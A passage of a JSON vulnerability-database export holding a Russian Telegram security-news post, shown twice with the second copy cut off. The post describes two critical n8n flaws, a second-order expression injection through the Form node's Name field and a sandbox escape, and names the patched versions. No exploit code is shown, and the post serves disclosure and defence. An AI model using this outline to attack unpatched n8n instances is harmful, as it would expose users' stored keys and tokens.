\u0432\u0441\u0435\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 n8n.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2026-27493 (CVSS 9,5), \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0430, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0443\u0437\u043b\u044b Form \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043f\u043e\u043b\u0435 Name \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0435\u043c, \u0447\u0442\u043e n8n \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0434\u0432\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0430 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u043a\u0430\u043a \u043d\u043e\u0432\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Pillar Security, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-27577 (CVSS 9,4) \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b n8n \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0443\u0437\u0435\u043b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0434\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u043a\u043e\u043d\u0446\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0432 n8n 2.10.1, 2.9.3 \u0438 1.123.22.\n\n\u041f\u0430\u0442\u0447 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0445\u043e\u0434 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0432\u043a\u043b\u044e\u0447\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0443\u0441\u0438\u043b\u0438\u043b \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c AST.\n\n\u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u043b\u0438 \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435, \u0442\u0430\u043a \u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 n8n, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 AWS, \u043f\u0430\u0440\u043e\u043b\u0438, \u0442\u043e\u043a\u0435\u043d\u044b OAuth \u0438 \u043a\u043b\u044e\u0447\u0438 API.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Pillar, \u043f\u043e \u0441\u0432\u043e\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 n8n - \u044d\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0433\u0434\u0435 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0438 \u043e\u0442 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f. \u0415\u0434\u0438\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 n8n \u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 \u0444\u043e\u0440\u043c \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, CVE-2026-27493 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043b\u044e\u0431\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432\u0448\u0438\u043c \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u0443 \u0444\u043e\u0440\u043c\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432\u0448\u0438\u043c GET-\u0437\u0430\u043f\u0440\u043e\u0441.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f n8n Cloud \u0438 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0437\u0430 \u0440\u0430\u043c\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430.\n\n\u041e\u0431\u0445\u043e\u0434 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0432 n8n Cloud \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u0449\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439: \u043e\u0434\u043d\u0430 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u0443\u0436\u0438\u0442\u044c \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430.", "creation_timestamp": "2026-03-12T17:08:32.000000Z"}, {"uuid": "cbdae5eb-4f96-4b9d-9a49-d66adce43d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27493", "type": "seen", "source": "https://t.me/true_secator/7989", "content": "Pillar Security \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 n8n, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u044c \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f RCE \u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0432\u0441\u0435\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 n8n.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2026-27493 (CVSS 9,5), \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0430, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0443\u0437\u043b\u044b Form \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043f\u043e\u043b\u0435 Name \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0435\u043c, \u0447\u0442\u043e n8n \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0434\u0432\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0430 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u043a\u0430\u043a \u043d\u043e\u0432\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Pillar Security, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-27577 (CVSS 9,4) \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b n8n \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0443\u0437\u0435\u043b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0434\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u043a\u043e\u043d\u0446\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0432 n8n 2.10.1, 2.9.3 \u0438 1.123.22.\n\n\u041f\u0430\u0442\u0447 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0445\u043e\u0434 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0432\u043a\u043b\u044e\u0447\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0443\u0441\u0438\u043b\u0438\u043b \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c AST.\n\n\u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u043b\u0438 \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435, \u0442\u0430\u043a \u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 n8n, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 AWS, \u043f\u0430\u0440\u043e\u043b\u0438, \u0442\u043e\u043a\u0435\u043d\u044b OAuth \u0438 \u043a\u043b\u044e\u0447\u0438 API.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Pillar, \u043f\u043e \u0441\u0432\u043e\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 n8n - \u044d\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0433\u0434\u0435 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0438 \u043e\u0442 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f. \u0415\u0434\u0438\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 n8n \u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 \u0444\u043e\u0440\u043c \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, CVE-2026-27493 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043b\u044e\u0431\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432\u0448\u0438\u043c \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u0443 \u0444\u043e\u0440\u043c\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432\u0448\u0438\u043c GET-\u0437\u0430\u043f\u0440\u043e\u0441.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f n8n Cloud \u0438 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0437\u0430 \u0440\u0430\u043c\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430.\n\n\u041e\u0431\u0445\u043e\u0434 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0432 n8n Cloud \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0431\u0449\u0435\u0439 